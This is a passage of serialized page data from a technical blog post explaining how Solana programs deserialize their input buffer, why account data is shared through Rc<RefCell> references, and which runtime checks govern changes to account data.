\"C\" fn entrypoint(input: *mut u8) -> u64 {\n    let (program_id, accounts, instruction_data) =\n        unsafe { $crate::entrypoint::deserialize(input) };\n    match $process_instruction(&program_id, &accounts, &instruction_data) {\n        Ok(()) => $crate::entrypoint::SUCCESS,\n        Err(error) => error.into(),\n    }\n}\n",[22097],{"type":24,"tag":284,"props":22098,"children":22099},{"__ignoreMap":7},[22100,22108,22179,22221,22273,22330,22371,22414,22421],{"type":24,"tag":327,"props":22101,"children":22102},{"class":329,"line":330},[22103],{"type":24,"tag":327,"props":22104,"children":22105},{"style":346},[22106],{"type":29,"value":22107},"#[no_mangle]\n",{"type":24,"tag":327,"props":22109,"children":22110},{"class":329,"line":367},[22111,22115,22120,22125,22130,22134,22139,22143,22147,22151,22155,22159,22163,22167,22171,22175],{"type":24,"tag":327,"props":22112,"children":22113},{"style":334},[22114],{"type":29,"value":2524},{"type":24,"tag":327,"props":22116,"children":22117},{"style":334},[22118],{"type":29,"value":22119}," unsafe",{"type":24,"tag":327,"props":22121,"children":22122},{"style":334},[22123],{"type":29,"value":22124}," extern",{"type":24,"tag":327,"props":22126,"children":22127},{"style":844},[22128],{"type":29,"value":22129}," \"C\"",{"type":24,"tag":327,"props":22131,"children":22132},{"style":334},[22133],{"type":29,"value":4653},{"type":24,"tag":327,"props":22135,"children":22136},{"style":340},[22137],{"type":29,"value":22138}," entrypoint",{"type":24,"tag":327,"props":22140,"children":22141},{"style":346},[22142],{"type":29,"value":349},{"type":24,"tag":327,"props":22144,"children":22145},{"style":356},[22146],{"type":29,"value":15927},{"type":24,"tag":327,"props":22148,"children":22149},{"style":381},[22150],{"type":29,"value":1636},{"type":24,"tag":327,"props":22152,"children":22153},{"style":381},[22154],{"type":29,"value":17364},{"type":24,"tag":327,"props":22156,"children":22157},{"style":334},[22158],{"type":29,"value":2099},{"type":24,"tag":327,"props":22160,"children":22161},{"style":1639},[22162],{"type":29,"value":2679},{"type":24,"tag":327,"props":22164,"children":22165},{"style":346},[22166],{"type":29,"value":1674},{"type":24,"tag":327,"props":22168,"children":22169},{"style":381},[22170],{"type":29,"value":1679},{"type":24,"tag":327,"props":22172,"children":22173},{"style":1639},[22174],{"type":29,"value":1669},{"type":24,"tag":327,"props":22176,"children":22177},{"style":346},[22178],{"type":29,"value":497},{"type":24,"tag":327,"props":22180,"children":22181},{"class":329,"line":408},[22182,22186,22190,22195,22199,22203,22207,22212,22216],{"type":24,"tag":327,"props":22183,"children":22184},{"style":334},[22185],{"type":29,"value":4794},{"type":24,"tag":327,"props":22187,"children":22188},{"style":346},[22189],{"type":29,"value":5894},{"type":24,"tag":327,"props":22191,"children":22192},{"style":356},[22193],{"type":29,"value":22194},"program_id",{"type":24,"tag":327,"props":22196,"children":22197},{"style":346},[22198],{"type":29,"value":2744},{"type":24,"tag":327,"props":22200,"children":22201},{"style":356},[22202],{"type":29,"value":5239},{"type":24,"tag":327,"props":22204,"children":22205},{"style":346},[22206],{"type":29,"value":2744},{"type":24,"tag":327,"props":22208,"children":22209},{"style":356},[22210],{"type":29,"value":22211},"instruction_data",{"type":24,"tag":327,"props":22213,"children":22214},{"style":346},[22215],{"type":29,"value":1674},{"type":24,"tag":327,"props":22217,"children":22218},{"style":381},[22219],{"type":29,"value":22220},"=\n",{"type":24,"tag":327,"props":22222,"children":22223},{"class":329,"line":421},[22224,22229,22233,22237,22242,22246,22251,22255,22260,22264,22268],{"type":24,"tag":327,"props":22225,"children":22226},{"style":334},[22227],{"type":29,"value":22228},"        unsafe",{"type":24,"tag":327,"props":22230,"children":22231},{"style":346},[22232],{"type":29,"value":1940},{"type":24,"tag":327,"props":22234,"children":22235},{"style":381},[22236],{"type":29,"value":17835},{"type":24,"tag":327,"props":22238,"children":22239},{"style":334},[22240],{"type":29,"value":22241},"crate",{"type":24,"tag":327,"props":22243,"children":22244},{"style":381},[22245],{"type":29,"value":2407},{"type":24,"tag":327,"props":22247,"children":22248},{"style":346},[22249],{"type":29,"value":22250},"entrypoint",{"type":24,"tag":327,"props":22252,"children":22253},{"style":381},[22254],{"type":29,"value":2407},{"type":24,"tag":327,"props":22256,"children":22257},{"style":340},[22258],{"type":29,"value":22259},"deserialize",{"type":24,"tag":327,"props":22261,"children":22262},{"style":346},[22263],{"type":29,"value":349},{"type":24,"tag":327,"props":22265,"children":22266},{"style":356},[22267],{"type":29,"value":15927},{"type":24,"tag":327,"props":22269,"children":22270},{"style":346},[22271],{"type":29,"value":22272},") };\n",{"type":24,"tag":327,"props":22274,"children":22275},{"class":329,"line":450},[22276,22280,22285,22290,22294,22298,22302,22306,22310,22314,22318,22322,22326],{"type":24,"tag":327,"props":22277,"children":22278},{"style":425},[22279],{"type":29,"value":9134},{"type":24,"tag":327,"props":22281,"children":22282},{"style":381},[22283],{"type":29,"value":22284}," $",{"type":24,"tag":327,"props":22286,"children":22287},{"style":356},[22288],{"type":29,"value":22289},"process_instruction",{"type":24,"tag":327,"props":22291,"children":22292},{"style":346},[22293],{"type":29,"value":349},{"type":24,"tag":327,"props":22295,"children":22296},{"style":381},[22297],{"type":29,"value":8716},{"type":24,"tag":327,"props":22299,"children":22300},{"style":356},[22301],{"type":29,"value":22194},{"type":24,"tag":327,"props":22303,"children":22304},{"style":346},[22305],{"type":29,"value":2744},{"type":24,"tag":327,"props":22307,"children":22308},{"style":381},[22309],{"type":29,"value":8716},{"type":24,"tag":327,"props":22311,"children":22312},{"style":356},[22313],{"type":29,"value":5239},{"type":24,"tag":327,"props":22315,"children":22316},{"style":346},[22317],{"type":29,"value":2744},{"type":24,"tag":327,"props":22319,"children":22320},{"style":381},[22321],{"type":29,"value":8716},{"type":24,"tag":327,"props":22323,"children":22324},{"style":356},[22325],{"type":29,"value":22211},{"type":24,"tag":327,"props":22327,"children":22328},{"style":346},[22329],{"type":29,"value":364},{"type":24,"tag":327,"props":22331,"children":22332},{"class":329,"line":481},[22333,22337,22342,22346,22350,22354,22358,22362,22366],{"type":24,"tag":327,"props":22334,"children":22335},{"style":1639},[22336],{"type":29,"value":9178},{"type":24,"tag":327,"props":22338,"children":22339},{"style":346},[22340],{"type":29,"value":22341},"(()) ",{"type":24,"tag":327,"props":22343,"children":22344},{"style":381},[22345],{"type":29,"value":9195},{"type":24,"tag":327,"props":22347,"children":22348},{"style":381},[22349],{"type":29,"value":22284},{"type":24,"tag":327,"props":22351,"children":22352},{"style":334},[22353],{"type":29,"value":22241},{"type":24,"tag":327,"props":22355,"children":22356},{"style":381},[22357],{"type":29,"value":2407},{"type":24,"tag":327,"props":22359,"children":22360},{"style":346},[22361],{"type":29,"value":22250},{"type":24,"tag":327,"props":22363,"children":22364},{"style":381},[22365],{"type":29,"value":2407},{"type":24,"tag":327,"props":22367,"children":22368},{"style":346},[22369],{"type":29,"value":22370},"SUCCESS,\n",{"type":24,"tag":327,"props":22372,"children":22373},{"class":329,"line":500},[22374,22379,22383,22388,22392,22396,22401,22405,22410],{"type":24,"tag":327,"props":22375,"children":22376},{"style":1639},[22377],{"type":29,"value":22378},"        Err",{"type":24,"tag":327,"props":22380,"children":22381},{"style":346},[22382],{"type":29,"value":349},{"type":24,"tag":327,"props":22384,"children":22385},{"style":356},[22386],{"type":29,"value":22387},"error",{"type":24,"tag":327,"props":22389,"children":22390},{"style":346},[22391],{"type":29,"value":1674},{"type":24,"tag":327,"props":22393,"children":22394},{"style":381},[22395],{"type":29,"value":9195},{"type":24,"tag":327,"props":22397,"children":22398},{"style":356},[22399],{"type":29,"value":22400}," error",{"type":24,"tag":327,"props":22402,"children":22403},{"style":381},[22404],{"type":29,"value":66},{"type":24,"tag":327,"props":22406,"children":22407},{"style":340},[22408],{"type":29,"value":22409},"into",{"type":24,"tag":327,"props":22411,"children":22412},{"style":346},[22413],{"type":29,"value":5357},{"type":24,"tag":327,"props":22415,"children":22416},{"class":329,"line":529},[22417],{"type":24,"tag":327,"props":22418,"children":22419},{"style":346},[22420],{"type":29,"value":535},{"type":24,"tag":327,"props":22422,"children":22423},{"class":329,"line":538},[22424],{"type":24,"tag":327,"props":22425,"children":22426},{"style":346},[22427],{"type":29,"value":592},{"type":24,"tag":25,"props":22429,"children":22430},{},[22431,22433,22438,22440,22446,22448,22455,22457,22463,22465,22472],{"type":29,"value":22432},"What we see here is the contract's real entrypoint - it takes a ",{"type":24,"tag":284,"props":22434,"children":22436},{"className":22435},[],[22437],{"type":29,"value":11022},{"type":29,"value":22439}," buffer in from the loader, and calls ",{"type":24,"tag":284,"props":22441,"children":22443},{"className":22442},[],[22444],{"type":29,"value":22445},"solana_program::entrypoint::deserialize",{"type":29,"value":22447},", which then ",{"type":24,"tag":57,"props":22449,"children":22452},{"href":22450,"rel":22451},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#281-337",[61],[22453],{"type":29,"value":22454},"parses out",{"type":29,"value":22456}," all the ",{"type":24,"tag":284,"props":22458,"children":22460},{"className":22459},[],[22461],{"type":29,"value":22462},"AccountInfo",{"type":29,"value":22464},"s, instruction data, and the current running program ID. We can see how the data buffer is ",{"type":24,"tag":57,"props":22466,"children":22469},{"href":22467,"rel":22468},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#308-316",[61],[22470],{"type":29,"value":22471},"laid out",{"type":29,"value":1636},{"type":24,"tag":317,"props":22474,"children":22476},{"className":1553,"code":22475,"language":1552,"meta":7,"style":7},"#[allow(clippy::cast_ptr_alignment)]\nlet data_len = *(input.add(offset) as *const u64) as usize;\noffset += size_of::\u003Cu64>();\n\nlet data = Rc::new(RefCell::new({\n    from_raw_parts_mut(input.add(offset), data_len)\n}));\noffset += data_len + MAX_PERMITTED_DATA_INCREASE;\noffset += (offset as *const u8).align_offset(BPF_ALIGN_OF_U128); // padding\n",[22477],{"type":24,"tag":284,"props":22478,"children":22479},{"__ignoreMap":7},[22480,22497,22577,22610,22617,22665,22710,22718,22742],{"type":24,"tag":327,"props":22481,"children":22482},{"class":329,"line":330},[22483,22488,22492],{"type":24,"tag":327,"props":22484,"children":22485},{"style":346},[22486],{"type":29,"value":22487},"#[allow(clippy",{"type":24,"tag":327,"props":22489,"children":22490},{"style":381},[22491],{"type":29,"value":2407},{"type":24,"tag":327,"props":22493,"children":22494},{"style":346},[22495],{"type":29,"value":22496},"cast_ptr_alignment)]\n",{"type":24,"tag":327,"props":22498,"children":22499},{"class":329,"line":367},[22500,22504,22509,22513,22517,22521,22525,22529,22533,22537,22541,22545,22549,22553,22557,22561,22565,22569,22573],{"type":24,"tag":327,"props":22501,"children":22502},{"style":334},[22503],{"type":29,"value":19334},{"type":24,"tag":327,"props":22505,"children":22506},{"style":356},[22507],{"type":29,"value":22508}," data_len",{"type":24,"tag":327,"props":22510,"children":22511},{"style":381},[22512],{"type":29,"value":4809},{"type":24,"tag":327,"props":22514,"children":22515},{"style":381},[22516],{"type":29,"value":17364},{"type":24,"tag":327,"props":22518,"children":22519},{"style":346},[22520],{"type":29,"value":349},{"type":24,"tag":327,"props":22522,"children":22523},{"style":356},[22524],{"type":29,"value":15927},{"type":24,"tag":327,"props":22526,"children":22527},{"style":381},[22528],{"type":29,"value":66},{"type":24,"tag":327,"props":22530,"children":22531},{"style":340},[22532],{"type":29,"value":280},{"type":24,"tag":327,"props":22534,"children":22535},{"style":346},[22536],{"type":29,"value":349},{"type":24,"tag":327,"props":22538,"children":22539},{"style":356},[22540],{"type":29,"value":21434},{"type":24,"tag":327,"props":22542,"children":22543},{"style":346},[22544],{"type":29,"value":1674},{"type":24,"tag":327,"props":22546,"children":22547},{"style":334},[22548],{"type":29,"value":2479},{"type":24,"tag":327,"props":22550,"children":22551},{"style":381},[22552],{"type":29,"value":17364},{"type":24,"tag":327,"props":22554,"children":22555},{"style":334},[22556],{"type":29,"value":17202},{"type":24,"tag":327,"props":22558,"children":22559},{"style":1639},[22560],{"type":29,"value":1669},{"type":24,"tag":327,"props":22562,"children":22563},{"style":346},[22564],{"type":29,"value":1674},{"type":24,"tag":327,"props":22566,"children":22567},{"style":334},[22568],{"type":29,"value":2479},{"type":24,"tag":327,"props":22570,"children":22571},{"style":1639},[22572],{"type":29,"value":2422},{"type":24,"tag":327,"props":22574,"children":22575},{"style":346},[22576],{"type":29,"value":405},{"type":24,"tag":327,"props":22578,"children":22579},{"class":329,"line":408},[22580,22584,22589,22594,22598,22602,22606],{"type":24,"tag":327,"props":22581,"children":22582},{"style":356},[22583],{"type":29,"value":21434},{"type":24,"tag":327,"props":22585,"children":22586},{"style":381},[22587],{"type":29,"value":22588}," +=",{"type":24,"tag":327,"props":22590,"children":22591},{"style":340},[22592],{"type":29,"value":22593}," size_of",{"type":24,"tag":327,"props":22595,"children":22596},{"style":381},[22597],{"type":29,"value":2407},{"type":24,"tag":327,"props":22599,"children":22600},{"style":346},[22601],{"type":29,"value":1596},{"type":24,"tag":327,"props":22603,"children":22604},{"style":1639},[22605],{"type":29,"value":15603},{"type":24,"tag":327,"props":22607,"children":22608},{"style":346},[22609],{"type":29,"value":16012},{"type":24,"tag":327,"props":22611,"children":22612},{"class":329,"line":421},[22613],{"type":24,"tag":327,"props":22614,"children":22615},{"emptyLinePlaceholder":16},[22616],{"type":29,"value":544},{"type":24,"tag":327,"props":22618,"children":22619},{"class":329,"line":450},[22620,22624,22629,22633,22638,22642,22647,22652,22656,22660],{"type":24,"tag":327,"props":22621,"children":22622},{"style":334},[22623],{"type":29,"value":19334},{"type":24,"tag":327,"props":22625,"children":22626},{"style":356},[22627],{"type":29,"value":22628}," data",{"type":24,"tag":327,"props":22630,"children":22631},{"style":381},[22632],{"type":29,"value":4809},{"type":24,"tag":327,"props":22634,"children":22635},{"style":1639},[22636],{"type":29,"value":22637}," Rc",{"type":24,"tag":327,"props":22639,"children":22640},{"style":381},[22641],{"type":29,"value":2407},{"type":24,"tag":327,"props":22643,"children":22644},{"style":340},[22645],{"type":29,"value":22646},"new",{"type":24,"tag":327,"props":22648,"children":22649},{"style":346},[22650],{"type":29,"value":22651},"(RefCell",{"type":24,"tag":327,"props":22653,"children":22654},{"style":381},[22655],{"type":29,"value":2407},{"type":24,"tag":327,"props":22657,"children":22658},{"style":340},[22659],{"type":29,"value":22646},{"type":24,"tag":327,"props":22661,"children":22662},{"style":346},[22663],{"type":29,"value":22664},"({\n",{"type":24,"tag":327,"props":22666,"children":22667},{"class":329,"line":481},[22668,22673,22677,22681,22685,22689,22693,22697,22702,22706],{"type":24,"tag":327,"props":22669,"children":22670},{"style":340},[22671],{"type":29,"value":22672},"    from_raw_parts_mut",{"type":24,"tag":327,"props":22674,"children":22675},{"style":346},[22676],{"type":29,"value":349},{"type":24,"tag":327,"props":22678,"children":22679},{"style":356},[22680],{"type":29,"value":15927},{"type":24,"tag":327,"props":22682,"children":22683},{"style":381},[22684],{"type":29,"value":66},{"type":24,"tag":327,"props":22686,"children":22687},{"style":340},[22688],{"type":29,"value":280},{"type":24,"tag":327,"props":22690,"children":22691},{"style":346},[22692],{"type":29,"value":349},{"type":24,"tag":327,"props":22694,"children":22695},{"style":356},[22696],{"type":29,"value":21434},{"type":24,"tag":327,"props":22698,"children":22699},{"style":346},[22700],{"type":29,"value":22701},"), ",{"type":24,"tag":327,"props":22703,"children":22704},{"style":356},[22705],{"type":29,"value":21340},{"type":24,"tag":327,"props":22707,"children":22708},{"style":346},[22709],{"type":29,"value":852},{"type":24,"tag":327,"props":22711,"children":22712},{"class":329,"line":500},[22713],{"type":24,"tag":327,"props":22714,"children":22715},{"style":346},[22716],{"type":29,"value":22717},"}));\n",{"type":24,"tag":327,"props":22719,"children":22720},{"class":329,"line":529},[22721,22725,22729,22733,22737],{"type":24,"tag":327,"props":22722,"children":22723},{"style":356},[22724],{"type":29,"value":21434},{"type":24,"tag":327,"props":22726,"children":22727},{"style":381},[22728],{"type":29,"value":22588},{"type":24,"tag":327,"props":22730,"children":22731},{"style":356},[22732],{"type":29,"value":22508},{"type":24,"tag":327,"props":22734,"children":22735},{"style":381},[22736],{"type":29,"value":4407},{"type":24,"tag":327,"props":22738,"children":22739},{"style":346},[22740],{"type":29,"value":22741}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":24,"tag":327,"props":22743,"children":22744},{"class":329,"line":538},[22745,22749,22753,22757,22761,22765,22769,22773,22777,22781,22785,22790,22795],{"type":24,"tag":327,"props":22746,"children":22747},{"style":356},[22748],{"type":29,"value":21434},{"type":24,"tag":327,"props":22750,"children":22751},{"style":381},[22752],{"type":29,"value":22588},{"type":24,"tag":327,"props":22754,"children":22755},{"style":346},[22756],{"type":29,"value":5894},{"type":24,"tag":327,"props":22758,"children":22759},{"style":356},[22760],{"type":29,"value":21434},{"type":24,"tag":327,"props":22762,"children":22763},{"style":334},[22764],{"type":29,"value":2417},{"type":24,"tag":327,"props":22766,"children":22767},{"style":381},[22768],{"type":29,"value":17364},{"type":24,"tag":327,"props":22770,"children":22771},{"style":334},[22772],{"type":29,"value":17202},{"type":24,"tag":327,"props":22774,"children":22775},{"style":1639},[22776],{"type":29,"value":2679},{"type":24,"tag":327,"props":22778,"children":22779},{"style":346},[22780],{"type":29,"value":3146},{"type":24,"tag":327,"props":22782,"children":22783},{"style":381},[22784],{"type":29,"value":66},{"type":24,"tag":327,"props":22786,"children":22787},{"style":340},[22788],{"type":29,"value":22789},"align_offset",{"type":24,"tag":327,"props":22791,"children":22792},{"style":346},[22793],{"type":29,"value":22794},"(BPF_ALIGN_OF_U128); ",{"type":24,"tag":327,"props":22796,"children":22797},{"style":551},[22798],{"type":29,"value":22799},"// padding\n",{"type":24,"tag":25,"props":22801,"children":22802},{},[22803,22805,22810,22812,22818,22820,22831,22833,22838,22840,22846,22848,22854,22855,22861],{"type":29,"value":22804},"In English, we have the length of the data, as a ",{"type":24,"tag":284,"props":22806,"children":22808},{"className":22807},[],[22809],{"type":29,"value":15603},{"type":29,"value":22811},", followed immediately by the data, and an additional ",{"type":24,"tag":284,"props":22813,"children":22815},{"className":22814},[],[22816],{"type":29,"value":22817},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":22819}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":24,"tag":57,"props":22821,"children":22824},{"href":22822,"rel":22823},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[61],[22825],{"type":24,"tag":284,"props":22826,"children":22828},{"className":22827},[],[22829],{"type":29,"value":22830},"slice::from_raw_parts_mut",{"type":29,"value":22832},") - slices are how Rust represents a, well, ",{"type":24,"tag":42,"props":22834,"children":22835},{},[22836],{"type":29,"value":22837},"slice",{"type":29,"value":22839}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":24,"tag":284,"props":22841,"children":22843},{"className":22842},[],[22844],{"type":29,"value":22845},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":22847},", giving us the unwieldy-looking type of ",{"type":24,"tag":284,"props":22849,"children":22851},{"className":22850},[],[22852],{"type":29,"value":22853},"AccountInfo.data",{"type":29,"value":3459},{"type":24,"tag":284,"props":22856,"children":22858},{"className":22857},[],[22859],{"type":29,"value":22860},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":66},{"type":24,"tag":25,"props":22863,"children":22864},{},[22865,22867,22874],{"type":29,"value":22866},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":24,"tag":57,"props":22868,"children":22871},{"href":22869,"rel":22870},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[61],[22872],{"type":29,"value":22873},"cloning the referenced account",{"type":29,"value":1636},{"type":24,"tag":317,"props":22876,"children":22878},{"className":1553,"code":22877,"language":1552,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[22879],{"type":24,"tag":284,"props":22880,"children":22881},{"__ignoreMap":7},[22882,22890],{"type":24,"tag":327,"props":22883,"children":22884},{"class":329,"line":330},[22885],{"type":24,"tag":327,"props":22886,"children":22887},{"style":551},[22888],{"type":29,"value":22889},"// Duplicate account, clone the original\n",{"type":24,"tag":327,"props":22891,"children":22892},{"class":329,"line":367},[22893,22897,22901,22905,22909,22913,22917,22922,22926,22930,22935,22939,22944],{"type":24,"tag":327,"props":22894,"children":22895},{"style":356},[22896],{"type":29,"value":5239},{"type":24,"tag":327,"props":22898,"children":22899},{"style":381},[22900],{"type":29,"value":66},{"type":24,"tag":327,"props":22902,"children":22903},{"style":340},[22904],{"type":29,"value":5517},{"type":24,"tag":327,"props":22906,"children":22907},{"style":346},[22908],{"type":29,"value":349},{"type":24,"tag":327,"props":22910,"children":22911},{"style":356},[22912],{"type":29,"value":5239},{"type":24,"tag":327,"props":22914,"children":22915},{"style":346},[22916],{"type":29,"value":11329},{"type":24,"tag":327,"props":22918,"children":22919},{"style":356},[22920],{"type":29,"value":22921},"dup_info",{"type":24,"tag":327,"props":22923,"children":22924},{"style":334},[22925],{"type":29,"value":2417},{"type":24,"tag":327,"props":22927,"children":22928},{"style":1639},[22929],{"type":29,"value":2422},{"type":24,"tag":327,"props":22931,"children":22932},{"style":346},[22933],{"type":29,"value":22934},"]",{"type":24,"tag":327,"props":22936,"children":22937},{"style":381},[22938],{"type":29,"value":66},{"type":24,"tag":327,"props":22940,"children":22941},{"style":340},[22942],{"type":29,"value":22943},"clone",{"type":24,"tag":327,"props":22945,"children":22946},{"style":346},[22947],{"type":29,"value":10225},{"type":24,"tag":25,"props":22949,"children":22950},{},[22951,22953,22958,22960,22965,22967,22972,22974,22979,22980,22986,22988,22993,22995,23007,23009,23014],{"type":29,"value":22952},"Since ",{"type":24,"tag":284,"props":22954,"children":22956},{"className":22955},[],[22957],{"type":29,"value":11298},{"type":29,"value":22959}," inside the ",{"type":24,"tag":284,"props":22961,"children":22963},{"className":22962},[],[22964],{"type":29,"value":22462},{"type":29,"value":22966}," is a ",{"type":24,"tag":284,"props":22968,"children":22970},{"className":22969},[],[22971],{"type":29,"value":22845},{"type":29,"value":22973},", where the ",{"type":24,"tag":284,"props":22975,"children":22977},{"className":22976},[],[22978],{"type":29,"value":13555},{"type":29,"value":22966},{"type":24,"tag":284,"props":22981,"children":22983},{"className":22982},[],[22984],{"type":29,"value":22985},"&mut [u8]",{"type":29,"value":22987}," pointing at the actual data buffer, when we clone the ",{"type":24,"tag":284,"props":22989,"children":22991},{"className":22990},[],[22992],{"type":29,"value":22462},{"type":29,"value":22994},", we get a new reference",{"type":24,"tag":22996,"props":22997,"children":22998},"sup",{},[22999],{"type":24,"tag":57,"props":23000,"children":23005},{"href":23001,"ariaDescribedBy":23002,"dataFootnoteRef":7,"id":23004},"#user-content-fn-rc-refs",[23003],"footnote-label","user-content-fnref-rc-refs",[23006],{"type":29,"value":3238},{"type":29,"value":23008}," to the slice pointing at the ",{"type":24,"tag":42,"props":23010,"children":23011},{},[23012],{"type":29,"value":23013},"same",{"type":29,"value":23015}," data buffer.",{"type":24,"tag":25,"props":23017,"children":23018},{},[23019,23021,23027,23029,23035],{"type":29,"value":23020},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":24,"tag":284,"props":23022,"children":23024},{"className":23023},[],[23025],{"type":29,"value":23026},"RefCell",{"type":29,"value":23028}," to check the rules at runtime. (The ",{"type":24,"tag":284,"props":23030,"children":23032},{"className":23031},[],[23033],{"type":29,"value":23034},"lamports",{"type":29,"value":23036}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":24,"tag":25,"props":23038,"children":23039},{},[23040,23042,23048],{"type":29,"value":23041},"Changing the data of an account is done by simply writing to ",{"type":24,"tag":284,"props":23043,"children":23045},{"className":23044},[],[23046],{"type":29,"value":23047},"AccountInfo::data",{"type":29,"value":23049},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":24,"tag":25,"props":23051,"children":23052},{},[23053,23055,23062],{"type":29,"value":23054},"This is also where the ",{"type":24,"tag":57,"props":23056,"children":23059},{"href":23057,"rel":23058},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[61],[23060],{"type":29,"value":23061},"runtime validity checks",{"type":29,"value":23063}," are imposed.",{"type":24,"tag":317,"props":23065,"children":23067},{"className":1553,"code":23066,"language":1552,"meta":7,"style":7},"// Only the owner may change account data\n//   and if the account is writable\n//   and if the account is not executable\nif !(program_id == pre.owner()\n    && is_writable  // line coverage used to get branch coverage\n    && !pre.executable())\n    && pre.data() != post.data()\n{\n    if pre.executable() {\n        return Err(InstructionError::ExecutableDataModified);\n    } else if is_writable {\n        return Err(InstructionError::ExternalAccountDataModified);\n    } else {\n        return Err(InstructionError::ReadonlyDataModified);\n    }\n}\n",[23068],{"type":24,"tag":284,"props":23069,"children":23070},{"__ignoreMap":7},[23071,23079,23087,23095,23136,23153,23182,23226,23233,23256,23290,23314,23346,23361,23393,23400],{"type":24,"tag":327,"props":23072,"children":23073},{"class":329,"line":330},[23074],{"type":24,"tag":327,"props":23075,"children":23076},{"style":551},[23077],{"type":29,"value":23078},"// Only the owner may change account data\n",{"type":24,"tag":327,"props":23080,"children":23081},{"class":329,"line":367},[23082],{"type":24,"tag":327,"props":23083,"children":23084},{"style":551},[23085],{"type":29,"value":23086},"//   and if the account is writable\n",{"type":24,"tag":327,"props":23088,"children":23089},{"class":329,"line":408},[23090],{"type":24,"tag":327,"props":23091,"children":23092},{"style":551},[23093],{"type":29,"value":23094},"//   and if the account is not executable\n",{"type":24,"tag":327,"props":23096,"children":23097},{"class":329,"line":421},[23098,23102,23106,23110,23114,23118,23123,23127,23132],{"type":24,"tag":327,"props":23099,"children":23100},{"style":425},[23101],{"type":29,"value":5999},{"type":24,"tag":327,"props":23103,"children":23104},{"style":381},[23105],{"type":29,"value":20408},{"type":24,"tag":327,"props":23107,"children":23108},{"style":346},[23109],{"type":29,"value":349},{"type":24,"tag":327,"props":23111,"children":23112},{"style":356},[23113],{"type":29,"value":22194},{"type":24,"tag":327,"props":23115,"children":23116},{"style":381},[23117],{"type":29,"value":9887},{"type":24,"tag":327,"props":23119,"children":23120},{"style":356},[23121],{"type":29,"value":23122}," pre",{"type":24,"tag":327,"props":23124,"children":23125},{"style":381},[23126],{"type":29,"value":66},{"type":24,"tag":327,"props":23128,"children":23129},{"style":340},[23130],{"type":29,"value":23131},"owner",{"type":24,"tag":327,"props":23133,"children":23134},{"style":346},[23135],{"type":29,"value":15298},{"type":24,"tag":327,"props":23137,"children":23138},{"class":329,"line":450},[23139,23143,23148],{"type":24,"tag":327,"props":23140,"children":23141},{"style":381},[23142],{"type":29,"value":2371},{"type":24,"tag":327,"props":23144,"children":23145},{"style":356},[23146],{"type":29,"value":23147}," is_writable",{"type":24,"tag":327,"props":23149,"children":23150},{"style":551},[23151],{"type":29,"value":23152},"  // line coverage used to get branch coverage\n",{"type":24,"tag":327,"props":23154,"children":23155},{"class":329,"line":481},[23156,23160,23164,23168,23172,23177],{"type":24,"tag":327,"props":23157,"children":23158},{"style":381},[23159],{"type":29,"value":2371},{"type":24,"tag":327,"props":23161,"children":23162},{"style":381},[23163],{"type":29,"value":20408},{"type":24,"tag":327,"props":23165,"children":23166},{"style":356},[23167],{"type":29,"value":317},{"type":24,"tag":327,"props":23169,"children":23170},{"style":381},[23171],{"type":29,"value":66},{"type":24,"tag":327,"props":23173,"children":23174},{"style":340},[23175],{"type":29,"value":23176},"executable",{"type":24,"tag":327,"props":23178,"children":23179},{"style":346},[23180],{"type":29,"value":23181},"())\n",{"type":24,"tag":327,"props":23183,"children":23184},{"class":329,"line":500},[23185,23189,23193,23197,23201,23205,23209,23214,23218,23222],{"type":24,"tag":327,"props":23186,"children":23187},{"style":381},[23188],{"type":29,"value":2371},{"type":24,"tag":327,"props":23190,"children":23191},{"style":356},[23192],{"type":29,"value":23122},{"type":24,"tag":327,"props":23194,"children":23195},{"style":381},[23196],{"type":29,"value":66},{"type":24,"tag":327,"props":23198,"children":23199},{"style":340},[23200],{"type":29,"value":11298},{"type":24,"tag":327,"props":23202,"children":23203},{"style":346},[23204],{"type":29,"value":7338},{"type":24,"tag":327,"props":23206,"children":23207},{"style":381},[23208],{"type":29,"value":573},{"type":24,"tag":327,"props":23210,"children":23211},{"style":356},[23212],{"type":29,"value":23213}," post",{"type":24,"tag":327,"props":23215,"children":23216},{"style":381},[23217],{"type":29,"value":66},{"type":24,"tag":327,"props":23219,"children":23220},{"style":340},[23221],{"type":29,"value":11298},{"type":24,"tag":327,"props":23223,"children":23224},{"style":346},[23225],{"type":29,"value":15298},{"type":24,"tag":327,"props":23227,"children":23228},{"class":329,"line":529},[23229],{"type":24,"tag":327,"props":23230,"children":23231},{"style":346},[23232],{"type":29,"value":18427},{"type":24,"tag":327,"props":23234,"children":23235},{"class":329,"line":538},[23236,23240,23244,23248,23252],{"type":24,"tag":327,"props":23237,"children":23238},{"style":425},[23239],{"type":29,"value":428},{"type":24,"tag":327,"props":23241,"children":23242},{"style":356},[23243],{"type":29,"value":23122},{"type":24,"tag":327,"props":23245,"children":23246},{"style":381},[23247],{"type":29,"value":66},{"type":24,"tag":327,"props":23249,"children":23250},{"style":340},[23251],{"type":29,"value":23176},{"type":24,"tag":327,"props":23253,"children":23254},{"style":346},[23255],{"type":29,"value":9697},{"type":24,"tag":327,"props":23257,"children":23258},{"class":329,"line":547},[23259,23263,23268,23272,23277,23281,23286],{"type":24,"tag":327,"props":23260,"children":23261},{"style":425},[23262],{"type":29,"value":4944},{"type":24,"tag":327,"props":23264,"children":23265},{"style":1639},[23266],{"type":29,"value":23267}," 